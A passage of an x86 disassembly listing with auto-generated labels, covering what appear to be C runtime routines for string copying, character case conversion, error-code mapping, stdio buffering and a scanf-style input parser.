		sub	cl, 20h
		jmp	short loc_42023E
; ---------------------------------------------------------------------------

loc_42025E:				; CODE XREF: sub_4200E8+161j
					; sub_4200E8+166j
		and	byte_4DC6E0[eax], 0

loc_420265:				; CODE XREF: sub_4200E8+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420228

loc_42026A:				; CODE XREF: sub_4200E8+137j
		pop	esi
		leave
		retn
sub_4200E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42026D	proc near		; CODE XREF: ___:00422E7Bp
					; ___:00422ED7p ...
		cmp	dword_4DC914, 0
		jnz	short locret_420288
		push	0FFFFFFFDh
		call	sub_41FEA9
		pop	ecx
		mov	dword_4DC914, 1

locret_420288:				; CODE XREF: sub_42026D+7j
		retn
sub_42026D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420289	proc near		; CODE XREF: sub_41B9D1+2Bp
					; sub_41B9D1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DC6DC, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_4202AD
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_420310
; ---------------------------------------------------------------------------

loc_4202AD:				; CODE XREF: sub_420289+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_4202F2
		mov	ecx, [ebp+arg_4]

loc_4202B8:				; CODE XREF: sub_420289+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DC7E1[esi], 4
		mov	[edi], al
		jz	short loc_4202DC
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_4202E8
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202EE
		jmp	short loc_4202E2
; ---------------------------------------------------------------------------

loc_4202DC:				; CODE XREF: sub_420289+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202F2

loc_4202E2:				; CODE XREF: sub_420289+51j
		test	edx, edx
		jnz	short loc_4202B8
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------

loc_4202E8:				; CODE XREF: sub_420289+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------

loc_4202EE:				; CODE XREF: sub_420289+4Fj
		and	byte ptr [edi-2], 0

loc_4202F2:				; CODE XREF: sub_420289+2Aj
					; sub_420289+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_42030D
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb

loc_42030D:				; CODE XREF: sub_420289+6Fj
		mov	eax, [ebp+arg_0]

loc_420310:				; CODE XREF: sub_420289+22j
		pop	edi
		pop	ebp
		retn
sub_420289	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420313	proc near		; CODE XREF: sub_41BBBD+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB334, 0
		push	ebx
		jnz	short loc_42033E
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_4203DC
		cmp	eax, 7Ah
		jg	loc_4203DC
		sub	eax, 20h
		jmp	loc_4203DC
; ---------------------------------------------------------------------------

loc_42033E:				; CODE XREF: sub_420313+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420371
		cmp	dword_43C504, 1
		jle	short loc_42035E
		push	2
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420369
; ---------------------------------------------------------------------------

loc_42035E:				; CODE XREF: sub_420313+3Dj
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 2

loc_420369:				; CODE XREF: sub_420313+49j
		test	eax, eax
		jnz	short loc_420371

loc_42036D:				; CODE XREF: sub_420313+AFj
		mov	eax, ebx
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------

loc_420371:				; CODE XREF: sub_420313+34j
					; sub_420313+58j
		mov	edx, off_43C2F8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420394
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_42039D
; ---------------------------------------------------------------------------

loc_420394:				; CODE XREF: sub_420313+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1

loc_42039D:				; CODE XREF: sub_420313+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DB334
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_42036D
		cmp	eax, 1
		jnz	short loc_4203CF
		movzx	eax, [ebp+var_4]
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------

loc_4203CF:				; CODE XREF: sub_420313+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx

loc_4203DC:				; CODE XREF: sub_420313+14j
					; sub_420313+1Dj ...
		pop	ebx
		leave
		retn
sub_420313	endp


; =============== S U B	R O U T	I N E =======================================



sub_4203DF	proc near		; CODE XREF: sub_41BDDC+1Dp
					; sub_41D3BE+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DB27C, ecx
		mov	eax, offset dword_43C610

loc_4203F0:				; CODE XREF: sub_4203DF+1Ej
		cmp	ecx, [eax]
		jz	short loc_420414
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43C778
		jl	short loc_4203F0
		cmp	ecx, 13h
		jb	short loc_420421
		cmp	ecx, 24h
		ja	short loc_420421
		mov	dword_4DB278, 0Dh
		retn
; ---------------------------------------------------------------------------

loc_420414:				; CODE XREF: sub_4203DF+13j
		mov	eax, dword_43C614[edx*8]
		mov	dword_4DB278, eax
		retn
; ---------------------------------------------------------------------------

loc_420421:				; CODE XREF: sub_4203DF+23j
					; sub_4203DF+28j
		cmp	ecx, 0BCh
		jb	short loc_42043B
		cmp	ecx, 0CAh
		mov	dword_4DB278, 8
		jbe	short locret_420445

loc_42043B:				; CODE XREF: sub_4203DF+48j
		mov	dword_4DB278, 16h

locret_420445:				; CODE XREF: sub_4203DF+5Aj
		retn
sub_4203DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_420446	proc near		; CODE XREF: sub_41BE06+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jz	short loc_4204CF
		cmp	esi, offset dword_43CA08
		jnz	short loc_420464
		xor	eax, eax
		jmp	short loc_42046F
; ---------------------------------------------------------------------------

loc_420464:				; CODE XREF: sub_420446+18j
		cmp	esi, offset dword_43CA28
		jnz	short loc_4204CF
		push	1
		pop	eax

loc_42046F:				; CODE XREF: sub_420446+1Cj
		inc	dword_4DB460
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_4204CF
		cmp	dword_4DB304[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DB304h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_4204B5
		push	ebx
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_4204B5
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_4204C2
; ---------------------------------------------------------------------------

loc_4204B5:				; CODE XREF: sub_420446+4Dj
					; sub_420446+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx

loc_4204C2:				; CODE XREF: sub_420446+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4204CF:				; CODE XREF: sub_420446+10j
					; sub_420446+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420446	endp


; =============== S U B	R O U T	I N E =======================================



sub_4204D3	proc near		; CODE XREF: sub_41BE06+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_4204FD
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_42050E
		push	esi
		call	sub_41DB8B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4204FD:				; CODE XREF: sub_4204D3+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_42050E
		push	eax
		call	sub_41DB8B
		pop	ecx

loc_42050E:				; CODE XREF: sub_4204D3+10j
					; sub_4204D3+32j
		pop	esi
		retn
sub_4204D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420510	proc near		; CODE XREF: sub_41C645+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_420F16
		mov	edi, [ebp+arg_0]
		jmp	short loc_42053F
; ---------------------------------------------------------------------------

loc_42053A:				; CODE XREF: sub_420510+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx

loc_42053F:				; CODE XREF: sub_420510+28j
		cmp	dword_43C504, 1
		jle	short loc_420557
		movzx	eax, al
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420566
; ---------------------------------------------------------------------------

loc_420557:				; CODE XREF: sub_420510+36j
		mov	ecx, off_43C2F8
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_420566:				; CODE XREF: sub_420510+45j
		cmp	eax, ebx
		jz	short loc_4205A0
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_420F9D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_420F86
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		add	esp, 0Ch

loc_42058E:				; CODE XREF: sub_420510+8Ej
		test	eax, eax
		jz	short loc_4205A0
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		pop	ecx
		jmp	short loc_42058E
; ---------------------------------------------------------------------------

loc_4205A0:				; CODE XREF: sub_420510+58j
					; sub_420510+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_420E82
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx

loc_4205D7:				; CODE XREF: sub_420510+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43C504, 1
		jle	short loc_4205F4
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420603
; ---------------------------------------------------------------------------

loc_4205F4:				; CODE XREF: sub_420510+D3j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_420603:				; CODE XREF: sub_420510+E2j
		test	eax, eax
		jz	short loc_420619
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420619:				; CODE XREF: sub_420510+F5j
		cmp	ebx, 4Eh
		jg	short loc_42065C
		jz	short loc_42067E
		cmp	ebx, 2Ah
		jz	short loc_420657
		cmp	ebx, 46h
		jz	short loc_42067E
		cmp	ebx, 49h
		jz	short loc_420639
		cmp	ebx, 4Ch
		jnz	short loc_42066B
		inc	[ebp+var_D]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420639:				; CODE XREF: sub_420510+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_42066B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_42066B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420657:				; CODE XREF: sub_420510+113j
		inc	[ebp+var_E]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_42065C:				; CODE XREF: sub_420510+10Cj
		cmp	ebx, 68h
		jz	short loc_420678
		cmp	ebx, 6Ch
		jz	short loc_420670
		cmp	ebx, 77h
		jz	short loc_420673

loc_42066B:				; CODE XREF: sub_420510+122j
					; sub_420510+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420670:				; CODE XREF: sub_420510+154j
		inc	[ebp+var_D]

loc_420673:				; CODE XREF: sub_420510+159j
		inc	[ebp+var_5]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420678:				; CODE XREF: sub_420510+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]

loc_42067E:				; CODE XREF: sub_420510+107j
					; sub_420510+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_4205D7
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_4206A3
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax

loc_4206A3:				; CODE XREF: sub_420510+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_4206C1
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_4206BD
		cmp	al, 43h
		jz	short loc_4206BD
		or	[ebp+var_5], 0FFh
		jmp	short loc_4206C1
; ---------------------------------------------------------------------------

loc_4206BD:				; CODE XREF: sub_420510+1A1j
					; sub_420510+1A5j
		mov	[ebp+var_5], 1

loc_4206C1:				; CODE XREF: sub_420510+19Bj
					; sub_420510+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_4206FA
		cmp	esi, 63h
		jz	short loc_4206EB
		cmp	esi, 7Bh
		jz	short loc_4206EB
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_420F9D
		pop	ecx
		jmp	short loc_4206F6
; ---------------------------------------------------------------------------

loc_4206EB:				; CODE XREF: sub_420510+1C5j
					; sub_420510+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C

loc_4206F6:				; CODE XREF: sub_420510+1D9j
		pop	ecx
		mov	[ebp+var_14], eax

loc_4206FA:				; CODE XREF: sub_420510+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_42070A
		cmp	[ebp+var_C], eax
		jz	loc_420EE6

loc_42070A:				; CODE XREF: sub_420510+1EFj
		cmp	esi, 6Fh
		jg	loc_420971
		jz	loc_420C23
		cmp	esi, 63h
		jz	loc_42094E
		cmp	esi, 64h
		jz	loc_420C23
		jle	loc_42099B
		cmp	esi, 67h
		jle	short loc_42076E
		cmp	esi, 69h
		jz	short loc_420756
		cmp	esi, 6Eh
		jnz	loc_42099B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_420E51
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_420756:				; CODE XREF: sub_420510+229j
		push	64h
		pop	esi

loc_420759:				; CODE XREF: sub_420510+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_4209E3
		mov	[ebp+var_17], 1
		jmp	loc_4209E8
; ---------------------------------------------------------------------------

loc_42076E:				; CODE XREF: sub_420510+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42078A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42078F
; ---------------------------------------------------------------------------

loc_42078A:				; CODE XREF: sub_420510+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_4207A6

loc_42078F:				; CODE XREF: sub_420510+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207A9
; ---------------------------------------------------------------------------

loc_4207A6:				; CODE XREF: sub_420510+27Dj
		mov	edi, [ebp+arg_0]

loc_4207A9:				; CODE XREF: sub_420510+294j
		cmp	[ebp+var_20], 0
		jz	short loc_4207B8
		cmp	[ebp+var_C], 15Dh
		jle	short loc_4207BF

loc_4207B8:				; CODE XREF: sub_420510+29Dj
		mov	[ebp+var_C], 15Dh

loc_4207BF:				; CODE XREF: sub_420510+2A6j
					; sub_420510+2F2j
		cmp	dword_43C504, 1
		jle	short loc_4207D4
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4207DF
; ---------------------------------------------------------------------------

loc_4207D4:				; CODE XREF: sub_420510+2B6j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_4207DF:				; CODE XREF: sub_420510+2C2j
		test	eax, eax
		jz	short loc_420804
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420804
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207BF
; ---------------------------------------------------------------------------

loc_420804:				; CODE XREF: sub_420510+2D1j
					; sub_420510+2DBj
		cmp	byte_43C508, bl
		jnz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		mov	al, byte_43C508
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi

loc_42082D:				; CODE XREF: sub_420510+360j
		cmp	dword_43C504, 1
		jle	short loc_420842
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42084D
; ---------------------------------------------------------------------------

loc_420842:				; CODE XREF: sub_420510+324j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_42084D:				; CODE XREF: sub_420510+330j
		test	eax, eax
		jz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42082D
; ---------------------------------------------------------------------------

loc_420872:				; CODE XREF: sub_420510+2FAj
					; sub_420510+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_42090A
		cmp	ebx, 65h
		jz	short loc_42088A
		cmp	ebx, 45h
		jnz	loc_42090A

loc_42088A:				; CODE XREF: sub_420510+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_4208B1
		mov	[esi], al
		inc	esi
		jmp	short loc_4208B6
; ---------------------------------------------------------------------------

loc_4208B1:				; CODE XREF: sub_420510+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_4208D4

loc_4208B6:				; CODE XREF: sub_420510+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_4208C5
		and	[ebp+var_C], eax
		jmp	short loc_4208D4
; ---------------------------------------------------------------------------

loc_4208C5:				; CODE XREF: sub_420510+3AEj
					; sub_420510+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_4208D4:				; CODE XREF: sub_420510+3A4j
					; sub_420510+3B3j
		cmp	dword_43C504, 1
		jle	short loc_4208E9
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4208F4
; ---------------------------------------------------------------------------

loc_4208E9:				; CODE XREF: sub_420510+3CBj
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_4208F4:				; CODE XREF: sub_420510+3D7j
		test	eax, eax
		jz	short loc_42090A
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_4208C5
; ---------------------------------------------------------------------------

loc_42090A:				; CODE XREF: sub_420510+366j
					; sub_420510+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43C8A8
		add	esp, 0Ch
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_42094E:				; CODE XREF: sub_420510+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_42095D
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1

loc_42095D:				; CODE XREF: sub_420510+441j
		cmp	[ebp+var_5], 0
		jle	short loc_420967
		mov	[ebp+var_16], 1

loc_420967:				; CODE XREF: sub_420510+451j
		mov	edi, offset dword_43C780
		jmp	loc_420A7C
; ---------------------------------------------------------------------------

loc_420971:				; CODE XREF: sub_420510+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_420C1F
		sub	eax, 3
		jz	loc_420A6D
		dec	eax
		dec	eax
		jz	loc_420C23
		sub	eax, 3
		jz	loc_420759
		sub	eax, 3
		jz	short loc_4209BF

loc_42099B:				; CODE XREF: sub_420510+21Bj
					; sub_420510+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_420EE6
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_4209BF:				; CODE XREF: sub_420510+489j
		cmp	[ebp+var_5], 0
		jle	short loc_4209C9
		mov	[ebp+var_16], 1

loc_4209C9:				; CODE XREF: sub_420510+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_420A80
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_420A7C
; ---------------------------------------------------------------------------

loc_4209E3:				; CODE XREF: sub_420510+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_420A0A

loc_4209E8:				; CODE XREF: sub_420510+259j
		dec	[ebp+var_C]
		jnz	short loc_4209F9
		cmp	[ebp+var_20], 0
		jz	short loc_4209F9
		mov	[ebp+var_F], 1
		jmp	short loc_420A0A
; ---------------------------------------------------------------------------

loc_4209F9:				; CODE XREF: sub_420510+4DBj
					; sub_420510+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_420A0A:				; CODE XREF: sub_420510+4D6j
					; sub_420510+4E7j
		cmp	ebx, 30h
		jnz	loc_420C58
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_420A58
		cmp	bl, 58h
		jz	short loc_420A58
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_420A42
		push	6Fh

loc_420A3C:				; CODE XREF: sub_420510+55Bj
		pop	esi
		jmp	loc_420C58
; ---------------------------------------------------------------------------

loc_420A42:				; CODE XREF: sub_420510+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_420C55
; ---------------------------------------------------------------------------

loc_420A58:				; CODE XREF: sub_420510+517j
					; sub_420510+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_420A3C
; ---------------------------------------------------------------------------

loc_420A6D:				; CODE XREF: sub_420510+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_420A77
		mov	[ebp+var_16], 1

loc_420A77:				; CODE XREF: sub_420510+561j
		mov	edi, offset dword_43C778

loc_420A7C:				; CODE XREF: sub_420510+45Cj
					; sub_420510+4CEj
		or	[ebp+var_18], 0FFh

loc_420A80:				; CODE XREF: sub_420510+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420AA4
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_420AA4
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------

loc_420AA4:				; CODE XREF: sub_420510+584j
					; sub_420510+589j
		mov	dl, [ebp+var_35]

loc_420AA7:				; CODE XREF: sub_420510+592j
					; sub_420510+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_420B0C
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_420AF3
		test	dl, dl
		jz	short loc_420AF3
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_420AF3
		inc	edi
		cmp	dl, cl
		jnb	short loc_420AC6
		mov	al, cl
		jmp	short loc_420ACA
; ---------------------------------------------------------------------------

loc_420AC6:				; CODE XREF: sub_420510+5B0j
		mov	al, dl
		mov	dl, cl

loc_420ACA:				; CODE XREF: sub_420510+5B4j
		cmp	dl, al
		ja	short loc_420AEF
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi

loc_420AD7:				; CODE XREF: sub_420510+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_420AD7

loc_420AEF:				; CODE XREF: sub_420510+5BCj
		xor	dl, dl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------

loc_420AF3:				; CODE XREF: sub_420510+5A0j
					; sub_420510+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------

loc_420B0C:				; CODE XREF: sub_420510+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_420F16
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420B1E
		mov	[ebp+arg_4], edi

loc_420B1E:				; CODE XREF: sub_420510+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
